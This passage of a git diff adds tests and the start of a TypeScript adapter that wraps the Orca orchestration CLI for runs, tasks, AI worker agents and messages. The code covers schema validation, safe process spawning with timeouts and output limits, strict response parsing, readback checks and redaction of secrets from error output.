}, + { + name: 'process exit', + result: { exitCode: 7, stdout: '', stderr: 'read failed' }, + code: 'process_exit', + }, + { + name: 'launch transport', + rejection: Object.assign(new Error('ENOENT'), { code: 'ENOENT' }), + code: 'executable_unavailable', + }, + { + name: 'transport loss', + result: { exitCode: null, stdout: '', stderr: '', transportLost: true }, + code: 'process_exit', + }, + { + name: 'output limit', + result: { exitCode: null, stdout: '', stderr: '', outputLimited: true }, + code: 'output_limit', + }, + { + name: 'malformed JSON', + result: { exitCode: 0, stdout: 'not-json', stderr: '' }, + code: 'malformed_json', + }, + { + name: 'invalid JSON envelope', + result: { exitCode: 0, stdout: '{"id":"r","ok":true,"result":{}}', stderr: '' }, + code: 'unexpected_response', + }, + { + name: 'error envelope', + result: { + exitCode: 0, + stdout: '{"id":"r","ok":false,"error":{"code":"read_failed","message":"failed"}}', + stderr: '', + }, + code: 'unexpected_response', + }, + ]; + for (const failure of failures) { + const verbs: string[] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async (request) => { + const verb = request.argv[1] as string; + verbs.push(verb); + if (verb === 'run-current') { + if (failure.rejection !== undefined) throw failure.rejection; + return failure.result as Awaited<ReturnType<OrcaProcessExecutor>>; + } + return { + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result: { runId: 'run_a', coordinatorTerminalHandle: 'term_a' }, + _meta: { + runtimeId: 'runtime_a', + runtimeVersion: '1.2.3', + invokingTerminal: 'term_a', + }, + }), + stderr: '', + }; + }, + }); + try { + await adapter.execute({ operation: 'run-use', id: 'run_a' }); + throw new Error(`expected ${failure.name} failure`); + } catch (error) { + expect(error).toBeInstanceOf(OrcaAdapterError); + expect(error).toMatchObject({ + code: failure.code, + operation: 'run-use', + phase: 'readback', + retrySafety: 'readback-required', + }); + expect((error as OrcaAdapterError).recovery).toContain('do not retry the mutation automatically'); + } + expect(verbs).toEqual(['run-use', 'run-current']); + } + }); + + test('returns receipt-only proofs for send/reply and supported check --ack', async () => { + for (const input of [ + { operation: 'send', subject: 'hello' }, + { operation: 'reply', id: 'message_a', body: 'yes' }, + { operation: 'check', ack: 'delivery_a' }, + ] satisfies OrcaOperation[]) { + let calls = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async (request) => { + calls += 1; + const result = + request.argv[1] === 'check' + ? { deliveryId: 'delivery_a', acknowledged: true, messages: [] } + : { messageId: 'message_a' }; + return { + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1.2.3' }, + }), + stderr: '', + }; + }, + }); + const response = await adapter.execute(input); + expect(response.receipt?.verb).toBe(input.operation); + expect(response.receipt?.readbackVerb).toBeNull(); + expect(calls).toBe(1); + } + }); + + test('rejects duplicate JSON keys and arbitrary nested identifiers', async () => { + for (const stdout of [ + '{"id":"request_a","ok":true,"result":{"runs":[],"runs":[]}}', + '{"id":"request_a","ok":true,"result":{"nested":{"runId":"run_a"}}}', + ]) { + let calls = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => { + calls += 1; + return { exitCode: 0, stdout, stderr: '' }; + }, + }); + await expect(adapter.execute({ operation: 'run-create', objective: 'x' })).rejects.toBeInstanceOf( + OrcaAdapterError, + ); + expect(calls).toBe(1); + } + }); + + test('requires exact acknowledgement state and runtime-attested terminal binding', async () => { + const ack = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ + exitCode: 0, + stdout: + '{"id":"request_a","ok":true,"result":{"deliveryId":"delivery_a","acknowledged":false},"_meta":{"runtimeId":"runtime_a","runtimeVersion":"1.2.3"}}', + stderr: '', + }), + }); + await expect(ack.execute({ operation: 'check', ack: 'delivery_a' })).rejects.toMatchObject({ + code: 'ambiguous_after_possible_commit', + }); + + const terminal = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result: { runId: 'run_a', coordinatorTerminalHandle: 'term_wrong' }, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1.2.3', invokingTerminal: 'term_a' }, + }), + stderr: '', + }), + }); + await expect(terminal.execute({ operation: 'run-use', id: 'run_a' })).rejects.toMatchObject({ + code: 'readback_mismatch', + }); + }); + + test('accepts the public retained worker disposition', async () => { + const verbs: string[] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async (request) => { + const verb = request.argv[1] as string; + verbs.push(verb); + const result = + verb === 'worker-release' + ? { dispatchId: 'dispatch_a' } + : { dispatch: { id: 'dispatch_a', taskId: 'task_a', terminalDisposition: 'retained' } }; + return { + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1.2.3' }, + }), + stderr: '', + }; + }, + }); + await adapter.execute({ operation: 'worker-release', dispatch: 'dispatch_a' }); + expect(verbs).toEqual(['worker-release', 'worker-show']); + }); + + test('classifies output and transport loss after mutation spawn as ambiguous without persistence or retry', async () => { + for (const result of [ + { exitCode: null, stdout: '', stderr: '', outputLimited: true }, + { exitCode: null, stdout: '', stderr: '', transportLost: true }, + ]) { + let calls = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => { + calls += 1; + return result; + }, + }); + await expect(adapter.execute({ operation: 'send', subject: 'once' })).rejects.toMatchObject({ + code: 'ambiguous_after_possible_commit', + retrySafety: 'unrecoverably-ambiguous', + }); + expect(calls).toBe(1); + } + }); + + test('classifies every verb failure by whether the invocation could mutate', async () => { + const mutation = new Set([ + 'run-create', + 'run-use', + 'task-create', + 'task-update', + 'worker-start', + 'worker-release', + 'send', + 'check', + 'reply', + 'ask', + 'gate-create', + 'gate-resolve', + ]); + const failures = [ + { exitCode: 7, stdout: '', stderr: 'failed' }, + { exitCode: 0, stdout: 'not-json', stderr: '' }, + { exitCode: 0, stdout: '{"id":"r","ok":true,"result":{}}', stderr: '' }, + { exitCode: null, stdout: '', stderr: '', timedOut: true }, + { exitCode: null, stdout: '', stderr: '', outputLimited: true }, + { + exitCode: 0, + stdout: '{"id":"r","ok":false,"error":{"code":"nope","message":"failed"}}', + stderr: '', + }, + ]; + for (const [, input] of cases) { + for (const failure of failures) { + const adapter = __orcaAdapterTestOnly.createAdapter({ executor: async () => failure }); + try { + await adapter.execute(input); + throw new Error('expected adapter failure'); + } catch (error) { + expect(error).toBeInstanceOf(OrcaAdapterError); + if (mutation.has(input.operation)) { + expect((error as OrcaAdapterError).code).toBe('ambiguous_after_possible_commit'); + expect((error as OrcaAdapterError).retrySafety).toBe('unrecoverably-ambiguous'); + } else { + expect((error as OrcaAdapterError).retrySafety).toBe('safe'); + } + } + } + } + }); + + test('treats executor rejection as safe pre-spawn executable unavailability', async () => { + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => { + throw Object.assign(new Error('ENOENT'), { code: 'ENOENT' }); + }, + }); + await expect(adapter.execute({ operation: 'send', subject: 'once' })).rejects.toMatchObject({ + code: 'executable_unavailable', + phase: 'resolve', + retrySafety: 'safe', + }); + }); + + test('bounds timeout termination through the kill escalation path', async () => { + const started = Date.now(); + const result = await __orcaAdapterTestOnly.spawnOrcaProcess({ + executable: process.execPath, + argv: ['-e', "process.on('SIGTERM', () => {}); setInterval(() => {}, 1000)"], + shell: false, + timeoutMs: 20, + maxStdoutBytes: MAX_ORCA_STDOUT_BYTES, + maxStderrBytes: MAX_ORCA_STDERR_BYTES, + env: process.env, + }); + expect(result.timedOut).toBeTrue(); + expect(result.signal).toBe('SIGKILL'); + expect(Date.now() - started).toBeLessThan(2500); + }); + + test('redacts secrets and request values, strips controls, and truncates stderr', async () => { + const secret = 'super-secret-token'; + const body = 'private request body'; + const adapter = __orcaAdapterTestOnly.createAdapter({ + env: { API_TOKEN: secret }, + executor: async () => ({ + exitCode: 2, + stdout: '', + stderr: `${'x'.repeat(5000)}\u0001 ${secret} ${body}`, + }), + }); + try { + await adapter.execute({ operation: 'send', subject: 'subject', body }); + throw new Error('expected failure'); + } catch (error) { + const stderr = (error as OrcaAdapterError).stderr ?? ''; + expect(Buffer.byteLength(stderr)).toBeLessThanOrEqual(4096); + expect(stderr).not.toContain(secret); + expect(stderr).not.toContain(body); + expect(stderr).not.toContain('\u0001'); + expect(stderr).toContain('[REDACTED]'); + } + }); + + test('redacts secrets and request values echoed by a direct error envelope', async () => { + const secret = 'credential'; + const databaseUrl = `postgres://brain:${secret}@db/internal`; + const requestedId = 'run_private'; + let calls = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + env: { DATABASE_URL: databaseUrl }, + executor: async () => { + calls += 1; + return { + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: false, + error: { code: 'read_failed', message: `could not read ${requestedId} via ${databaseUrl}` }, + }), + stderr: '', + }; + }, + }); + + try { + await adapter.execute({ operation: 'run-show', id: requestedId }); + throw new Error('expected failure'); + } catch (error) { + expect(error).toBeInstanceOf(OrcaAdapterError); + expect((error as OrcaAdapterError).message).not.toContain(requestedId); + expect((error as OrcaAdapterError).message).not.toContain(secret); + expect((error as OrcaAdapterError).message).not.toContain(databaseUrl); + expect((error as OrcaAdapterError).message).toContain('[REDACTED]'); + expect((error as OrcaAdapterError).message).toContain('postgres://brain:[REDACTED]@db/internal'); + expect(calls).toBe(1); + } + }); + + test('keeps error-envelope diagnostics redacted when reattributing a post-receipt readback failure', async () => { + const secret = 'credential'; + const databaseUrl = `postgres://brain:${secret}@db/internal`; + const requestedId = 'run_private'; + const calls: string[] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + env: { DATABASE_URL: databaseUrl }, + executor: async (request) => { + calls.push(request.argv[1] ?? ''); + return request.argv[1] === 'run-use' + ? { + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result: { runId: requestedId, coordinatorTerminalHandle: 'term_a' }, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1.2.3', invokingTerminal: 'term_a' }, + }), + stderr: '', + } + : { + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_b', + ok: false, + error: { code: 'read_failed', message: `could not read ${requestedId} via ${databaseUrl}` }, + }), + stderr: '', + }; + }, + }); + + try { + await adapter.execute({ operation: 'run-use', id: requestedId }); + throw new Error('expected failure'); + } catch (error) { + expect(error).toBeInstanceOf(OrcaAdapterError); + expect(error).toMatchObject({ operation: 'run-use', phase: 'readback', retrySafety: 'readback-required' }); + expect((error as OrcaAdapterError).message).not.toContain(requestedId); + expect((error as OrcaAdapterError).message).not.toContain(secret); + expect((error as OrcaAdapterError).message).not.toContain(databaseUrl); + expect((error as OrcaAdapterError).message).toContain('[REDACTED]'); + expect((error as OrcaAdapterError).message).toContain('postgres://brain:[REDACTED]@db/internal'); + expect((error as OrcaAdapterError).recovery).toContain('do not retry the mutation automatically'); + expect(calls).toEqual(['run-use', 'run-current']); + } + }); + + test('rejects non-finite ask states and mixed success/error envelopes', async () => { + for (const stdout of [ + '{"id":"r","ok":true,"result":{"messageId":"message_a","state":"pending","answer":"no"},"_meta":{"runtimeId":"runtime_a","runtimeVersion":"1"}}', + '{"id":"r","ok":true,"result":{"messageId":"message_a","state":"answered"},"_meta":{"runtimeId":"runtime_a","runtimeVersion":"1"}}', + '{"id":"r","ok":true,"result":{"messageId":"message_a","state":"other"},"_meta":{"runtimeId":"runtime_a","runtimeVersion":"1"}}', + '{"id":"r","ok":false,"result":{},"error":{"code":"x","message":"x"}}', + '{"id":"r","ok":false,"error":{"code":"x","message":"x","extra":true}}', + ]) { + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ exitCode: 0, stdout, stderr: '' }), + }); + await expect(adapter.execute({ operation: 'ask', question: 'q' })).rejects.toMatchObject({ + code: 'ambiguous_after_possible_commit', + }); + } + }); + + test('rejects mismatched receipt identities and duplicate readback rows', async () => { + const scenarios: Array<{ input: OrcaOperation; mutationResult: object; readResult?: object }> = [ + { + input: { operation: 'task-update', id: 'task_a', status: 'completed' }, + mutationResult: { taskId: 'task_other' }, + }, + { + input: { operation: 'worker-start', task: 'task_a', agent: 'codex' }, + mutationResult: { dispatchId: 'dispatch_a', taskId: 'task_other' }, + }, + { + input: { operation: 'gate-create', task: 'task_a', question: 'q' }, + mutationResult: { gateId: 'gate_a', taskId: 'task_other' }, + }, + { + input: { operation: 'reply', id: 'message_a', body: 'yes' }, + mutationResult: { messageId: 'message_other' }, + }, + { + input: { operation: 'task-create', spec: 'spec' }, + mutationResult: { taskId: 'task_a' }, + readResult: { + tasks: [ + { id: 'task_a', spec: 'spec', status: 'ready' }, + { id: 'task_a', spec: 'spec', status: 'ready' }, + ], + }, + }, + ]; + for (const scenario of scenarios) { + let call = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result: call++ === 0 ? scenario.mutationResult : scenario.readResult, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1' }, + }), + stderr: '', + }), + }); + await expect(adapter.execute(scenario.input)).rejects.toMatchObject({ code: 'readback_mismatch' }); + } + }); +}); diff --git a/src/lib/orca-orchestration-adapter.ts b/src/lib/orca-orchestration-adapter.ts new file mode 100644 index 000000000..5c4c75961 --- /dev/null +++ b/src/lib/orca-orchestration-adapter.ts @@ -0,0 +1,1224 @@ +import { spawn } from 'node:child_process'; +import { z } from 'zod'; + +export const ORCA_ORCHESTRATION_VERBS = [ + 'run-create', + 'run-list', + 'run-show', + 'run-current', + 'run-use', + 'task-create', + 'task-list', + 'task-update', + 'worker-start', + 'worker-show', + 'worker-read', + 'worker-release', + 'send', + 'check', + 'reply', + 'ask', + 'gate-create', + 'gate-list', + 'gate-resolve', +] as const; + +export type OrcaOrchestrationVerb = (typeof ORCA_ORCHESTRATION_VERBS)[number]; + +export type OrcaAdapterErrorCode = + | 'unsupported_platform' + | 'unsupported_environment' + | 'executable_unavailable' + | 'incompatible_cli_version' + | 'invalid_operation' + | 'invalid_argument' + | 'timeout' + | 'output_limit' + | 'ambiguous_after_possible_commit' + | 'process_exit' + | 'malformed_json' + | 'unexpected_response' + | 'missing_receipt' + | 'readback_mismatch' + | 'local_lifecycle_disabled_in_orca_mode'; + +export type RetrySafety = 'safe' | 'unsafe' | 'readback-required' | 'unrecoverably-ambiguous'; + +export class OrcaAdapterError extends Error { + readonly name = 'OrcaAdapterError'; + + constructor( + readonly code: OrcaAdapterErrorCode, + readonly operation: OrcaOrchestrationVerb | 'runtime', + readonly phase: 'validate' | 'resolve' | 'execute' | 'decode' | 'receipt' | 'readback', + readonly retrySafety: RetrySafety, + readonly recovery: string, + message: string, + readonly stderr?: string, + ) { + super(message); + } +} + +const id = z.string().regex(/^[A-Za-z][A-Za-z0-9_-]{0,127}$/); +const utf8 = (max: number) => + z + .string() + .refine((value) => value === value.normalize('NFC'), 'must be NFC-normalized') + .refine((value) => !value.includes('\0') && !/[\uD800-\uDFFF]/u.test(value), 'contains an invalid code point') + .refine((value) => Buffer.byteLength(value, 'utf8') >= 1 && Buffer.byteLength(value, 'utf8') <= max); +const longText = utf8(16_384); +const shortText = utf8(512); +const itemText = utf8(256); +const cursor = z + .string() + .min(1) + .max(512) + .regex(/^[\x21-\x7E]+$/) + .refine((value) => !value.startsWith('-') && !/[;&|`$<>\\(){}\[\]*?!'\"]/.test(value)); +const model = cursor.refine((value) => Buffer.byteLength(value, 'utf8') <= 128); +const limit = z.number().int().min(1).max(100); +const timeout = z.number().int().min(250).max(600_000); +const taskStatus = z.enum(['pending', 'ready', 'dispatched', 'completed', 'failed', 'blocked']); +const gateStatus = z.enum(['pending', 'resolved']); +const messageType = z.enum([ + 'status', + 'dispatch', + 'worker_done', + 'merge_ready', + 'escalation', + 'handoff', + 'question', + 'decision_gate', + 'heartbeat', +]); +const priority = z.enum(['low', 'normal', 'high', 'urgent']); +const workerSource = z.enum(['auto', 'transcript', 'terminal']); +const agent = z.enum(['claude', 'codex', 'cursor', 'droid', 'gemini', 'grok', 'opencode']); +const effort = z.enum(['low', 'medium', 'high', 'xhigh']); +const uniqueArray = <T extends z.ZodTypeAny>(member: T, maximum: number, minimum = 0) => + z + .array(member) + .min(minimum) + .max(maximum) + .refine((values) => new Set(values as unknown[]).size === values.length, 'items must be unique'); +const result = z + .object({ summary: longText, artifacts: uniqueArray(itemText, 32).optional() }) + .strict() + .refine((value) => Buffer.byteLength(JSON.stringify(value)) <= 32_768); +const sendPayload = z + .object({ + taskId: id.optional(), + dispatchId: id.optional(), + phase: itemText.optional(), + outcome: z.enum(['succeeded', 'failed']).optional(), + filesModified: uniqueArray(itemText, 128).optional(), + reportPath: itemText.optional(), + }) + .strict() + .refine((value) => Object.keys(value).length > 0, 'payload must not be empty') + .refine((value) => Buffer.byteLength(JSON.stringify(value)) <= 32_768); +const base = <V extends OrcaOrchestrationVerb, T extends z.ZodRawShape>(verb: V, shape: T) => + z.object({ operation: z.literal(verb), ...shape }).strict(); + +export const orcaOperationSchema = z.union([ + base('run-create', { objective: longText }), + base('run-list', { limit: limit.optional(), cursor: cursor.optional() }), + base('run-show', { id }), + base('run-current', {}), + base('run-use', { id }), + base('task-create', { + spec: longText, + title: shortText.optional(), + deps: uniqueArray(id, 64).optional(), + parent: id.optional(), + }), + base('task-list', { + status: taskStatus.optional(), + ready: z.boolean().optional(), + brief: z.boolean().optional(), + }), + base('task-update', { id, status: taskStatus, result: result.optional() }), + base('worker-start', { + task: id, + agent, + model: model.optional(), + effort: effort.optional(), + timeoutMs: timeout.optional(), + }).refine((value) => value.effort === undefined || value.model !== undefined, { + message: 'effort requires model', + }), + base('worker-show', { dispatch: id }), + base('worker-read', { + dispatch: id, + source: workerSource.optional(), + cursor: cursor.optional(), + limit: limit.optional(), + }), + base('worker-release', { dispatch: id }), + base('send', { + subject: shortText, + body: longText.optional(), + type: messageType.optional(), + priority: priority.optional(), + threadId: id.optional(), + payload: sendPayload.optional(), + }), + base('check', { + ack: id.optional(), + unread: z.boolean().optional(), + peek: z.boolean().optional(), + all: z.boolean().optional(), + types: uniqueArray(messageType, messageType.options.length, 1).optional(), + wait: z.boolean().optional(), + timeoutMs: timeout.optional(), + }) + .refine((value) => [value.unread, value.peek, value.all].filter((entry) => entry === true).length <= 1, { + message: 'unread, peek, and all are mutually exclusive', + }) + .refine((value) => value.timeoutMs === undefined || value.wait === true, { message: 'timeoutMs requires wait' }), + base('reply', { id, body: longText }), + base('ask', { + question: shortText.optional(), + resume: id.optional(), + options: uniqueArray(itemText, 10, 1).optional(), + timeoutMs: timeout.optional(), + }) + .refine((value) => (value.question === undefined) !== (value.resume === undefined), { + message: 'exactly one of question or resume is required', + }) + .refine((value) => value.options === undefined || value.question !== undefined, { + message: 'options require question', + }) + .refine((value) => value.options?.every((option) => !/[,\r\n]/.test(option)) ?? true, { + message: 'ask options cannot contain comma, CR, or LF', + }), + base('gate-create', { + task: id, + question: shortText, + options: uniqueArray(itemText, 10, 1).optional(), + }), + base('gate-list', { task: id.optional(), status: gateStatus.optional() }), + base('gate-resolve', { id, resolution: longText, task: id }), +]); + +export type OrcaOperation = z.input<typeof orcaOperationSchema>; +export type ValidatedOrcaOperation = z.output<typeof orcaOperationSchema>; + +function flagValue(flag: string, value: string): string[] { + if (value.length > 0 && value[0] === '-') { + throw new OrcaAdapterError( + 'invalid_argument', + 'runtime', + 'validate', + 'safe', + 'Correct the rejected semantic value and retry.', + `${flag} has a flag-shaped value`, + ); + } + return [flag, value]; +} + +function optionalFlag(flag: string, value: string | number | undefined): string[] { + return value === undefined ? [] : flagValue(flag, String(value)); +} + +function boolFlag(flag: string, value: boolean | undefined): string[] { + return value === true ? [flag] : []; +} + +export function buildOrcaOrchestrationArgv(input: unknown): readonly string[] { + const parsed = orcaOperationSchema.safeParse(input); + if (!parsed.success) { + const operation = readOperation(input); + throw new OrcaAdapterError( + operation === undefined ? 'invalid_operation' : 'invalid_argument', + operation ?? 'runtime', + 'validate', + 'safe', + 'Correct the semantic input and retry.', + parsed.error.issues.map((issue) => issue.message).join('; '), + ); + } + const operation = parsed.data; + const args = buildArguments(operation); + return Object.freeze(['orchestration', operation.operation, ...args, '--json']); +} + +function readOperation(input: unknown): OrcaOrchestrationVerb | undefined { + if (typeof input !== 'object' || input === null || !('operation' in input)) return undefined; + const operation = (input as { operation?: unknown }).operation; + return ORCA_ORCHESTRATION_VERBS.find((candidate) => candidate === operation); +} + +function buildArguments(operation: ValidatedOrcaOperation): string[] { + switch (operation.operation) { + case 'run-create': + return flagValue('--objective', operation.objective); + case 'run-list': + return [...optionalFlag('--limit', operation.limit), ...optionalFlag('--cursor', operation.cursor)]; + case 'run-show': + case 'run-use': + return flagValue('--id', operation.id); + case 'run-current': + return []; + case 'task-create': + return [ + ...flagValue('--spec', operation.spec), + ...optionalFlag('--task-title', operation.title), + ...(operation.deps === undefined ? [] : flagValue('--deps', JSON.stringify(operation.deps))), + ...optionalFlag('--parent', operation.parent), + ]; + case 'task-list': + return [ + ...optionalFlag('--status', operation.status), + ...boolFlag('--ready', operation.ready), + ...boolFlag('--brief', operation.brief), + ]; + case 'task-update': + return [ + ...flagValue('--id', operation.id), + ...flagValue('--status', operation.status), + ...(operation.result === undefined ? [] : flagValue('--result', JSON.stringify(operation.result))), + ]; + case 'worker-start': + return [ + ...flagValue('--task', operation.task), + '--worktree', + 'current', + ...flagValue('--agent', operation.agent), + ...optionalFlag('--model', operation.model), + ...optionalFlag('--effort', operation.effort), + ...optionalFlag('--timeout-ms', operation.timeoutMs), + ]; + case 'worker-show': + case 'worker-release': + return flagValue('--dispatch', operation.dispatch); + case 'worker-read': + return [ + ...flagValue('--dispatch', operation.dispatch), + ...optionalFlag('--source', operation.source), + ...optionalFlag('--cursor', operation.cursor), + ...optionalFlag('--limit', operation.limit), + ]; + case 'send': + return [ + ...flagValue('--subject', operation.subject), + ...optionalFlag('--body', operation.body), + ...optionalFlag('--type', operation.type), + ...optionalFlag('--priority', operation.priority), + ...optionalFlag('--thread-id', operation.threadId), + ...(operation.payload === undefined ? [] : flagValue('--payload', JSON.stringify(operation.payload))), + ]; + case 'check': + return [ + ...optionalFlag('--ack', operation.ack), + ...boolFlag('--unread', operation.unread), + ...boolFlag('--peek', operation.peek), + ...boolFlag('--all', operation.all), + ...(operation.types === undefined ? [] : flagValue('--types', operation.types.join(','))), + ...boolFlag('--wait', operation.wait), + ...optionalFlag('--timeout-ms', operation.timeoutMs), + ]; + case 'reply': + return [...flagValue('--id', operation.id), ...flagValue('--body', operation.body)]; + case 'ask': + return [ + ...(operation.question === undefined + ? flagValue('--resume', operation.resume as string) + : flagValue('--question', operation.question)), + ...(operation.options === undefined ? [] : flagValue('--options', operation.options.join(','))), + ...optionalFlag('--timeout-ms', operation.timeoutMs), + ]; + case 'gate-create': + return [ + ...flagValue('--task', operation.task), + ...flagValue('--question', operation.question), + ...(operation.options === undefined ? [] : flagValue('--options', JSON.stringify(operation.options))), + ]; + case 'gate-list': + return [...optionalFlag('--task', operation.task), ...optionalFlag('--status', operation.status)]; + case 'gate-resolve': + return [...flagValue('--id', operation.id), ...flagValue('--resolution', operation.resolution)]; + } +} + +export function resolveOrcaExecutable( + options: { + platform?: NodeJS.Platform; + managedTerminal?: boolean; + } = {}, +): string { + const platform = options.platform ?? process.platform; + if (platform === 'win32') return 'orca.exe'; + if (platform === 'darwin') return 'orca'; + if (platform === 'linux') return options.managedTerminal === true ? 'orca' : 'orca-ide'; + throw new OrcaAdapterError( + 'unsupported_platform', + 'runtime', + 'resolve', + 'safe', + 'Run the adapter on a supported Orca host.', + `unsupported platform: ${platform}`, + ); +} + +export interface OrcaProcessRequest { + executable: string; + argv: readonly string[]; + shell: false; + timeoutMs: number; + maxStdoutBytes: number; + maxStderrBytes: number; + env: Readonly<Record<string, string | undefined>>; +} + +export interface OrcaProcessResult { + exitCode: number | null; + signal?: NodeJS.Signals | null; + stdout: string; + stderr: string; + timedOut?: boolean; + outputLimited?: boolean; + transportLost?: boolean; +} + +export type OrcaProcessExecutor = (request: OrcaProcessRequest) => Promise<OrcaProcessResult>; + +export const DEFAULT_ORCA_TIMEOUT_MS = 30_000; +export const MAX_ORCA_STDOUT_BYTES = 1_048_576; +export const MAX_ORCA_STDERR_BYTES = 65_536; +const ORCA_KILL_GRACE_MS = 1_000; +const ORCA_CLOSE_GRACE_MS = 1_000; + +const spawnOrcaProcess: OrcaProcessExecutor = async (request) => + new Promise((resolve, reject) => { + const child = spawn(request.executable, [...request.argv], { + shell: request.shell, + env: request.env as NodeJS.ProcessEnv, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }); + const stdout: Buffer[] = []; + const stderr: Buffer[] = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let settled = false; + let timedOut = false; + let outputLimited = false; + let spawned = false; + let killTimer: ReturnType<typeof setTimeout> | undefined; + let closeTimer: ReturnType<typeof setTimeout> | undefined; + const finish = (result: OrcaProcessResult) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (killTimer !== undefined) clearTimeout(killTimer); + if (closeTimer !== undefined) clearTimeout(closeTimer); + resolve(result); + }; + const stop = () => { + child.kill('SIGTERM'); + killTimer ??= setTimeout(() => { + child.kill('SIGKILL'); + closeTimer ??= setTimeout( + () => + finish({ + exitCode: null, + signal: 'SIGKILL', + stdout: Buffer.concat(stdout).toString('utf8'), + stderr: Buffer.concat(stderr).toString('utf8'), + timedOut, + outputLimited, + transportLost: true, + }), + ORCA_CLOSE_GRACE_MS, + ); + }, ORCA_KILL_GRACE_MS); + }; + const timer = setTimeout(() => { + timedOut = true; + stop(); + }, request.timeoutMs); + child.stdout.on('data', (chunk: Buffer) => { + stdoutBytes += chunk.length; + if (stdoutBytes > request.maxStdoutBytes) { + outputLimited = true; + stop(); + } else stdout.push(chunk); + }); + child.stderr.on('data', (chunk: Buffer) => { + stderrBytes += chunk.length; + if (stderrBytes > request.maxStderrBytes) { + outputLimited = true; + stop(); + } else stderr.push(chunk); + }); + child.once('spawn', () => { + spawned = true; + }); + child.once('error', (error) => { + if (settled) return; + if (spawned) { + finish({ + exitCode: null, + stdout: Buffer.concat(stdout).toString('utf8'), + stderr: `${Buffer.concat(stderr).toString('utf8')}\nprocess transport error: ${error.message}`, + timedOut, + outputLimited, + transportLost: true, + }); + return; + } + settled = true; + clearTimeout(timer); + if (killTimer !== undefined) clearTimeout(killTimer); + if (closeTimer !== undefined) clearTimeout(closeTimer); + reject(error); + }); + child.once('close', (exitCode, signal) => { + if (settled) return; + finish({ + exitCode, + signal, + stdout: Buffer.concat(stdout).toString('utf8'), + stderr: Buffer.concat(stderr).toString('utf8'), + timedOut, + outputLimited, + }); + }); + }); + +const terminalId = id; +const receipt = (shape: z.ZodRawShape) => z.object(shape).strict(); +const runEntity = receipt({ id, objective: longText.optional(), coordinatorTerminalHandle: terminalId.optional() }); +const taskEntity = receipt({ + id, + spec: longText, + title: shortText.optional(), + deps: uniqueArray(id, 64).optional(), + parent: id.optional(), + status: taskStatus, + result: result.optional(), +}); +const workerEntity = receipt({ + id, + taskId: id, + agent: agent.optional(), + model: model.optional(), + effort: effort.optional(), + state: itemText.optional(), + terminalDisposition: z.enum(['released', 'retained']).optional(), +}); +const gateEntity = receipt({ + id, + taskId: id, + question: shortText, + options: uniqueArray(itemText, 10, 1).optional(), + status: gateStatus, + resolution: longText.optional(), +}); +const messageReceipt = receipt({ messageId: id }); +const askReceipt = z.union([ + receipt({ messageId: id, state: z.literal('answered'), answer: longText }), + receipt({ messageId: id, state: z.literal('pending') }), +]); +const checkResult = receipt({ + deliveryId: id.optional(), + acknowledged: z.boolean().optional(), + messages: z + .array(receipt({ id, type: messageType, subject: shortText })) + .max(50) + .optional(), + count: z.number().int().min(0).max(50).optional(), +}); +const responseSchemas: Readonly<Record<OrcaOrchestrationVerb, z.ZodTypeAny>> = { + 'run-create': receipt({ runId: id }), + 'run-list': receipt({ runs: z.array(runEntity).max(100), cursor: cursor.optional() }), + 'run-show': receipt({ run: runEntity }), + 'run-current': receipt({ run: runEntity, coordinatorTerminalHandle: terminalId }), + 'run-use': receipt({ runId: id, coordinatorTerminalHandle: terminalId }), + 'task-create': receipt({ taskId: id }), + 'task-list': receipt({ tasks: z.array(taskEntity).max(100) }), + 'task-update': receipt({ taskId: id }), + 'worker-start': receipt({ dispatchId: id, taskId: id }), + 'worker-show': receipt({ dispatch: workerEntity }), + 'worker-read': receipt({ dispatchId: id, source: workerSource, output: longText, cursor: cursor.optional() }), + 'worker-release': receipt({ dispatchId: id }), + send: messageReceipt, + check: checkResult, + reply: messageReceipt, + ask: askReceipt, + 'gate-create': receipt({ gateId: id, taskId: id }), + 'gate-list': receipt({ gates: z.array(gateEntity).max(100) }), + 'gate-resolve': receipt({ gateId: id, taskId: id }), +}; + +const envelopeSchema = z + .object({ + id: z.string().min(1).max(256), + ok: z.boolean(), + result: z.unknown().optional(), + error: z + .object({ code: z.string().min(1).max(128), message: z.string().min(1).max(4096) }) + .strict() + .optional(), + _meta: z + .object({ + runtimeId: id, + runtimeVersion: shortText.optional(), + version: shortText.optional(), + invokingTerminal: terminalId.optional(), + }) + .strict() + .optional(), + }) + .strict() + .refine((value) => + value.ok + ? value.result !== undefined && value.error === undefined + : value.result === undefined && value.error !== undefined, + ); + +export type OrcaJsonEnvelope = z.infer<typeof envelopeSchema>; + +export interface OrcaMutationReceipt { + readonly verb: OrcaOrchestrationVerb; + readonly ids: Readonly<Record<string, string>>; + readonly runtimeId: string | null; + readonly runtimeVersion: string | null; + readonly startedAt: string; + readonly completedAt: string; + readonly readbackVerb: OrcaOrchestrationVerb | null; +} + +export type OrcaAdapterResponse = 